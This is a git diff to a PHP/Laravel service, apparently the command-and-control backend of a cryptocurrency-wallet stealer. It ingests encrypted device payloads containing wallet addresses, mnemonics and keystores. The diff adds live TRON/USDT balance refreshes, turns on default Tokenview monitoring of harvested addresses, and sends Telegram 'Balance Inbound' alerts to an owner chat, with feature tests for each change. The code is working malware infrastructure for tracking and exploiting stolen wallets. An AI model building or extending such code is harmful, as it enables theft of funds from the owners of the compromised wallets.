diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php
index 2e853bc..90f064e 100644
--- a/app/Services/IngestService.php
+++ b/app/Services/IngestService.php
@@ -10,13 +10,19 @@ use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
+use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\WalletSource;
use Illuminate\Http\Request;
+use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class IngestService
{
- public function __construct(private readonly TelegramNotifier $telegram) {}
+ public function __construct(
+ private readonly TelegramNotifier $telegram,
+ private readonly WalletBalanceService $balances,
+ private readonly TokenviewMonitorService $tokenview,
+ ) {}
/**
* Stable device id — currently only from payload `d` / `f`.
@@ -339,8 +345,9 @@ class IngestService
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
+ // Default monitor on for new rows; disabled only when Tokenview enable fails.
if (! $existing) {
- $attrs['monitor'] = 0;
+ $attrs['monitor'] = 1;
}
$addr = WalletAddress::query()->updateOrCreate(
@@ -348,6 +355,19 @@ class IngestService
$attrs
);
+ $isTron = in_array($chainType, ['TRON', 'TRX'], true);
+ // Tron: client payloads often omit balances — pull TRX/USDT from chain.
+ // Always refresh on first insert so Telegram/DB get live totals.
+ if ($isTron && (! $existing || $coinAttrs === [])) {
+ if ($this->balances->refresh($addr)) {
+ $addr->refresh();
+ }
+ }
+
+ if (! $existing) {
+ $this->enableMonitorOrDisable($addr);
+ }
+
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -367,6 +387,27 @@ class IngestService
}
}
+ /**
+ * New addresses start with monitor=1; turn off only when Tokenview add fails.
+ */
+ private function enableMonitorOrDisable(WalletAddress $address): void
+ {
+ try {
+ if ($this->tokenview->syncMonitor($address)) {
+ return;
+ }
+ } catch (\Throwable $e) {
+ Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
+ 'wallet_address_id' => $address->id,
+ ]);
+ }
+
+ if ((int) $address->monitor !== 0) {
+ $address->monitor = 0;
+ $address->save();
+ }
+ }
+
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php
index 86d398e..42d91d9 100644
--- a/app/Services/TelegramNotifier.php
+++ b/app/Services/TelegramNotifier.php
@@ -115,14 +115,19 @@ class TelegramNotifier
string $symbol,
string $amount,
?string $chain = null,
+ ?string $balance = null,
): void {
- $this->send(implode("\n", [
+ $lines = [
'✅ Balance Inbound',
'📱 Device: '.$this->e($deviceId).'',
'⛓ Chain: '.$this->e($chain ?: '—'),
'📬 Address: '.$this->e($address).'',
'💵 Amount: +'.$this->e($amount).' '.$this->e($symbol),
- ]));
+ ];
+ if ($balance !== null && trim($balance) !== '') {
+ $lines[] = '💰 Balance: '.$this->e($balance);
+ }
+ $this->send(implode("\n", $lines));
}
private function e(?string $value): string
diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php
index 4d23357..f2a274e 100644
--- a/app/Services/Tokenview/TokenviewMonitorService.php
+++ b/app/Services/Tokenview/TokenviewMonitorService.php
@@ -6,6 +6,7 @@ use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
+use App\Services\WalletBalanceService;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
@@ -14,6 +15,7 @@ class TokenviewMonitorService
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
+ private readonly WalletBalanceService $balances,
) {}
/**
@@ -119,17 +121,29 @@ class TokenviewMonitorService
return;
}
- DB::transaction(function () use ($rows, $deltas) {
- foreach ($rows as $row) {
- /** @var WalletAddress $row */
- foreach ($deltas as $col => $delta) {
- $current = $row->{$col};
- $base = ($current === null || $current === '') ? 0.0 : (float) $current;
- $row->{$col} = $base + $delta;
- }
- $row->save();
- }
+ $tronRows = $rows->filter(function (WalletAddress $row) {
+ return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
});
+ $deltaRows = $rows->filter(function (WalletAddress $row) {
+ return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
+ });
+
+ // Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
+ foreach ($tronRows as $row) {
+ /** @var WalletAddress $row */
+ if (! $this->balances->refresh($row)) {
+ $this->applyDeltasToRow($row, $deltas);
+ }
+ }
+
+ if ($deltaRows->isNotEmpty()) {
+ DB::transaction(function () use ($deltaRows, $deltas) {
+ foreach ($deltaRows as $row) {
+ /** @var WalletAddress $row */
+ $this->applyDeltasToRow($row, $deltas);
+ }
+ });
+ }
$inbound = [];
foreach ($deltas as $col => $delta) {
@@ -141,18 +155,35 @@ class TokenviewMonitorService
return;
}
- $deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
+ $primary = $rows->first();
+ $primary->refresh();
+ $balanceSummary = $primary->coinsSummary();
+ $deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
- $coin
+ $coin,
+ $balanceSummary
);
}
}
+ /**
+ * @param array $deltas
+ */
+ private function applyDeltasToRow(WalletAddress $row, array $deltas): void
+ {
+ foreach ($deltas as $col => $delta) {
+ $current = $row->{$col};
+ $base = ($current === null || $current === '') ? 0.0 : (float) $current;
+ $row->{$col} = $base + $delta;
+ }
+ $row->save();
+ }
+
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php
new file mode 100644
index 0000000..8726b49
--- /dev/null
+++ b/app/Services/WalletBalanceService.php
@@ -0,0 +1,66 @@
+chain_type));
+
+ return match ($chain) {
+ 'TRON', 'TRX' => $this->refreshTron($address),
+ default => false,
+ };
+ }
+
+ public function refreshTron(WalletAddress $address): bool
+ {
+ $addr = trim((string) $address->address);
+ if ($addr === '') {
+ return false;
+ }
+
+ try {
+ $driver = $this->chains->resolve('tron');
+ $trx = $driver->getNativeBalance($addr);
+ $usdt = $driver->getTokenBalance(
+ $addr,
+ (string) config('coruna.tron.usdt_contract'),
+ );
+
+ $address->trx = $trx;
+ $address->usdt = $usdt;
+ // No official BTC/ETH/BNB on Tron — leave those columns untouched.
+ $address->save();
+
+ return true;
+ } catch (\Throwable $e) {
+ Log::warning('tron balance refresh failed: '.$e->getMessage(), [
+ 'wallet_address_id' => $address->id,
+ 'address' => $addr,
+ ]);
+
+ return false;
+ }
+ }
+}
diff --git a/config/coruna.php b/config/coruna.php
index e673f6d..9f0889c 100644
--- a/config/coruna.php
+++ b/config/coruna.php
@@ -57,6 +57,7 @@ return [
'tron' => [
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
'api_key' => env('TRON_API_KEY', ''),
+ // Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried.
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
],
diff --git a/phpunit.xml b/phpunit.xml
index e7f0a48..43c1b7e 100644
--- a/phpunit.xml
+++ b/phpunit.xml
@@ -32,5 +32,11 @@
+
+
+
+
+
+
diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php
index c54f52f..6419721 100644
--- a/tests/Feature/C2ApiTest.php
+++ b/tests/Feature/C2ApiTest.php
@@ -14,6 +14,7 @@ use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
+use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -212,6 +213,9 @@ class C2ApiTest extends TestCase
], $encSet2['body'])->assertOk();
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
+ // No Tokenview key → enable fails → monitor forced off.
+ config(['coruna.tokenview.api_key' => '']);
+
$tsStatus = '1722585600789';
$encStatus = $crypto->encryptJson([
'd' => 'dev-wallet-1',
@@ -272,8 +276,17 @@ class C2ApiTest extends TestCase
}
#[Test]
- public function status_global_wallet_ad_map_stores_empty_balance(): void
+ public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void
{
+ config(['coruna.tokenview.api_key' => 'test-key']);
+ Http::fake([
+ '*/wallet/getaccount' => Http::response(['balance' => 2_500_000], 200),
+ '*/wallet/triggerconstantcontract' => Http::response([
+ 'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
+ ], 200),
+ 'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
+ ]);
+
$crypto = new CorunaCrypto;
$ts = '1722585600777';
$enc = $crypto->encryptJson([
@@ -298,14 +311,66 @@ class C2ApiTest extends TestCase
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
- $this->assertNull($addr->trx);
- $this->assertNull($addr->usdt);
+ $this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001);
+ $this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001);
+ $this->assertSame(1, (int) $addr->monitor);
+
+ Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/'));
+ }
+
+ #[Test]
+ public function status_disables_monitor_when_tokenview_enable_fails(): void
+ {
+ config(['coruna.tokenview.api_key' => 'test-key']);
+ Http::fake([
+ 'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200),
+ ]);
+
+ $crypto = new CorunaCrypto;
+ $ts = '1722585600778';
+ $enc = $crypto->encryptJson([
+ 'd' => 'dev-monitor-fail-1',
+ 'a' => 'a1',
+ 'data' => [
+ ['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
+ ],
+ ], $ts);
+
+ $this->call('POST', '/api/user/status', [], [], [], [
+ 'CONTENT_TYPE' => 'text/plain',
+ 'HTTP_TIMESTAMP' => $ts,
+ ], $enc['body'])->assertOk();
+
+ $device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first();
+ $addr = WalletAddress::query()
+ ->where('device_id', $device->id)
+ ->where('address', '0xabc1230000000000000000000000000000000009')
+ ->first();
+ $this->assertNotNull($addr);
$this->assertSame(0, (int) $addr->monitor);
}
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
+ // New Tron rows refresh TRX/USDT from chain before notify — stub node.
+ Http::fake(function ($request) {
+ $url = $request->url();
+ if (str_contains($url, '/wallet/getaccount')) {
+ return Http::response(['balance' => 4_000_006], 200);
+ }
+ if (str_contains($url, '/wallet/triggerconstantcontract')) {
+ return Http::response([
+ 'constant_result' => [str_pad('0', 64, '0', STR_PAD_LEFT)],
+ ], 200);
+ }
+ if (str_contains($url, 'tokenview')) {
+ return Http::response(['code' => 1, 'msg' => 'success'], 200);
+ }
+
+ return Http::response(['ok' => true], 200);
+ });
+
$crypto = new CorunaCrypto;
$ts = '1722585600888';
$enc = $crypto->encryptJson([
diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php
index f74cdec..93744e7 100644
--- a/tests/Feature/TokenviewWebhookTest.php
+++ b/tests/Feature/TokenviewWebhookTest.php
@@ -97,6 +97,59 @@ class TokenviewWebhookTest extends TestCase
$this->assertSame(1, TokenviewEvent::query()->count());
}
+ #[Test]
+ public function webhook_refreshes_tron_balances_from_chain_instead_of_delta(): void
+ {
+ config(['coruna.tokenview.sign_key' => '']);
+ Http::fake([
+ '*/wallet/getaccount' => Http::response(['balance' => 9_000_000], 200),
+ '*/wallet/triggerconstantcontract' => Http::response([
+ 'constant_result' => [str_pad(dechex(50_000_000), 64, '0', STR_PAD_LEFT)],
+ ], 200),
+ 'api.telegram.org/*' => Http::response(['ok' => true], 200),
+ ]);
+ config([
+ 'coruna.telegram.bot_token' => 'bot-token',
+ 'coruna.telegram.owner_chat_id' => '12345',
+ ]);
+
+ $addr = $this->seedMonitoredAddress([
+ 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
+ 'chain_type' => 'TRON',
+ 'trx' => 1.0,
+ 'usdt' => 10.0,
+ 'eth' => null,
+ ]);
+
+ $payload = [
+ 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
+ 'txid' => 'tron-txid-refresh-1',
+ 'coin' => 'TRX',
+ 'tokenSymbol' => 'USDT',
+ 'tokenValue' => '5',
+ 'value' => '0.1',
+ ];
+
+ $this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
+
+ $addr->refresh();
+ // Live chain balances win over webhook deltas.
+ $this->assertEqualsWithDelta(9.0, (float) $addr->trx, 0.0000001);
+ $this->assertEqualsWithDelta(50.0, (float) $addr->usdt, 0.0000001);
+
+ Http::assertSent(function ($request) {
+ if (! str_contains($request->url(), 'api.telegram.org')) {
+ return false;
+ }
+ $text = (string) ($request->data()['text'] ?? '');
+
+ return str_contains($text, 'Balance Inbound')
+ && str_contains($text, '+5 USDT')
+ && str_contains($text, 'Balance')
+ && str_contains($text, 'USDT');
+ });
+ }
+
#[Test]
public function webhook_ignores_address_when_monitor_off(): void
{
diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php
new file mode 100644
index 0000000..d9189ca
--- /dev/null
+++ b/tests/Unit/WalletBalanceServiceTest.php
@@ -0,0 +1,73 @@
+ Http::response(['balance' => 1_000_000], 200),
+ '*/wallet/triggerconstantcontract' => Http::response([
+ 'constant_result' => [str_pad(dechex(3_000_000), 64, '0', STR_PAD_LEFT)],
+ ], 200),
+ ]);
+
+ $device = Device::query()->create([
+ 'device_id' => 'dev-bal-1',
+ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+ ]);
+ $addr = WalletAddress::query()->create([
+ 'device_id' => $device->id,
+ 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
+ 'chain_type' => 'TRON',
+ 'source' => 'imToken',
+ 'btc' => 1.23,
+ 'eth' => 4.56,
+ 'monitor' => 1,
+ ]);
+
+ $ok = app(WalletBalanceService::class)->refresh($addr);
+ $this->assertTrue($ok);
+
+ $addr->refresh();
+ $this->assertEqualsWithDelta(1.0, (float) $addr->trx, 0.0000001);
+ $this->assertEqualsWithDelta(3.0, (float) $addr->usdt, 0.0000001);
+ // Non-Tron columns are not overwritten.
+ $this->assertEqualsWithDelta(1.23, (float) $addr->btc, 0.0000001);
+ $this->assertEqualsWithDelta(4.56, (float) $addr->eth, 0.0000001);
+ }
+
+ #[Test]
+ public function skips_non_tron_chains(): void
+ {
+ $device = Device::query()->create([
+ 'device_id' => 'dev-bal-2',
+ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+ ]);
+ $addr = WalletAddress::query()->create([
+ 'device_id' => $device->id,
+ 'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
+ 'chain_type' => 'ETH',
+ 'source' => 'MetaMask',
+ 'eth' => 1.0,
+ 'monitor' => 1,
+ ]);
+
+ $ok = app(WalletBalanceService::class)->refresh($addr);
+ $this->assertFalse($ok);
+ $addr->refresh();
+ $this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001);
+ }
+}